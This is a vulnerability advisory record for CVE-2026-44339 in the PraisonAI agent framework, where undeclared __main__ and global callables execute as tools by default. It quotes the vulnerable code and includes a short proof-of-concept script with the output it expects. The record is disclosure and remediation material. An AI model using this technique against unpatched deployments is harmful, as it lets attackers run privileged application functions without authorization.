{"id":"CVE-2026-44339","aliases":["GHSA-gmjg-hv98-qggq","PYSEC-2026-2915","PYSEC-2026-2948"],"title":"PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute","summary":"PraisonAI has unsafe tool resolution in `ToolExecutionMixin.execute_tool`: undeclared `__main__` callables execute","severity":"high","cvss":8.6,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents < 1.6.37","praisonai < 4.6.37"],"patched":["praisonaiagents 1.6.37","praisonai 4.6.37"],"published":"2026-05-11","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-gmjg-hv98-qggq","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gmjg-hv98-qggq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44339"},{"url":"https://github.com/MervinPraison/PraisonAI"}],"tags":["osv","pip"],"epss":0.00363,"epssPercentile":0.30031,"ingestedAt":"2026-07-13T18:57:58.492Z","slug":"CVE-2026-44339","body":"## Overview\n\n### Summary\n`praisonaiagents` resolves unresolved tool names against module globals and `__main__` after it fails to match the declared tool list and the registry. With the default agent configuration, `_perm_allow` is `None`, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools.\n\n### Details\nThe vulnerable resolution path is in [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:734). After searching declared tools and the registry, execution falls back to `globals()` and then `__main__`:\n\n```python\nfunc = None\nfor tool in self.tools if isinstance(self.tools, (list, tuple)) else []:\n    ...\n\nif func is None:\n    try:\n        from ..tools.registry import get_registry\n        registry = get_registry()\n        func = registry.get(function_name)\n    except ImportError:\n        pass\n\nif func is None:\n    func = globals().get(function_name)\n    if not func:\n        import __main__\n        func = getattr(__main__, function_name, None)\n```\n\nIf a callable is found, it is executed directly:\n\n```python\nelif callable(func):\n    casted_arguments = self._cast_arguments(func, arguments)\n    return func(**casted_arguments)\n```\n\nThe permission gate does not enforce a declared-tool allowlist by default. In [`[tool_execution.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/tool_execution.py:550), execution is only rejected if `_perm_allow` is non-`None`:\n\n```python\nif self._perm_deny and function_name in self._perm_deny:\n    return {\"error\": f\"Tool '{function_name}' blocked by permission policy\", \"permission_denied\": True}\nif self._perm_allow is not None and function_name not in self._perm_allow:\n    return {\"error\": f\"Tool '{function_name}' not in allowed tools list\", \"permission_denied\": True}\n```\n\nDefault agent initialization sets `_perm_allow = None`, which means \"allow all\" rather than \"allow only declared tools\" in [`[agent.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/praisonaiagents/agent/agent.py:1749):\n\n```python\nself._perm_deny = frozenset()  # Permission tier deny set (empty = no denials)\nself._perm_allow = None        # Permission tier allow set (None = allow all)\n```\n\nThe project's own tests confirm that default agents have no allowlist and that undeclared custom tool names pass approval:\n\n- [`[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:56)`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/[test_permissions.py](https://github.com/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142):56) asserts that a default `Agent` has `_perm_allow is None`.\n- [`test_permissions.py`](/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents/tests/unit/test_permissions.py:142) explicitly checks that `agent._check_tool_approval_sync(\"my_custom_tool\", {})` passes for an undeclared tool name.\n\n**Empirical verification:**\n\nI verified the bypass locally on commit `d8a8a786915dc67a7c3021e24f72458f2eac5d9c` (`v4.6.35`) by defining a callable only in `__main__`, giving the agent an empty `tools` list, and invoking `execute_tool()` with that undeclared name. The tool executor ran the `__main__` function anyway.\n\n### PoC\n**Environment**\n- Repo: `MervinPraison/PraisonAI`\n- Commit: `d8a8a786915dc67a7c3021e24f72458f2eac5d9c`\n- Verified against PyPI package versions available on May 3, 2026:\n  - `praisonaiagents` `1.6.35`\n  - `PraisonAI` `4.6.35`\n- Python 3\n\n**Steps**\n1. From the repository root, run:\n\n```bash\npython3 - <<'PY'\nimport sys\nfrom unittest.mock import MagicMock, patch\n\nsys.path.insert(0, '/Users/shmulc/Documents/Codex/2026-05-03/please-go-over-tmp-tp-advisories/repos/PraisonAI/src/praisonai-agents')\nfrom praisonaiagents.agent.tool_execution import ToolExecutionMixin\n\ndef sneaky(msg='ok'):\n    return {'ran': msg}\n\nclass HookRunner:\n    def execute_sync(self, *args, **kwargs):\n        return []\n    def is_blocked(self, results):\n        return False\n\nclass Dummy(ToolExecutionMixin):\n    def __init__(self):\n        self.name = 'demo'\n        self.tools = []\n        self.chat_history = []\n        self._hook_runner = HookRunner()\n        self.context_manager = None\n        self._doom_loop_tracker = None\n        self._perm_deny = frozenset()\n        self._perm_allow = None\n        self._approval_backend = None\n\nmock_registry = MagicMock()\nmock_registry.approve_sync.return_value = MagicMock(approved=True, reason='mock', modified_args=None)\nmock_registry.mark_approved = MagicMock()\n\nwith patch('praisonaiagents.approval.get_approval_registry', return_value=mock_registry):\n    agent = Dummy()\n    print(agent.execute_tool('sneaky', {'msg': 'hello'}))\n    print(mock_registry.approve_sync.call_args)\nPY\n```\n\n**Expected output**\n```text\n{'ran': 'hello'}\ncall('demo', 'sneaky', {'msg': 'hello'})\n```\n\nThe important point is that `sneaky` was never declared in `self.tools` and was only present in `__main__`.\n\n### Impact\n- **Any deployment that lets an untrusted party influence tool-call names**: undeclared application callables can run even though they were never registered as tools.\n- **Operators who rely on the declared tool list as a security boundary**: that boundary is broken because unresolved names fall through to `globals()` and `__main__`.\n- **Applications that keep privileged helper functions in process scope**: the attacker can reuse those helpers with the application's own privileges, which can lead to unauthorized state changes and, depending on what is loaded, data exposure or command execution.\n\n## Affected packages\n\n- `praisonaiagents < 1.6.37`\n- `praisonai < 4.6.37`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.37`\n- `praisonai 4.6.37`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":47.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}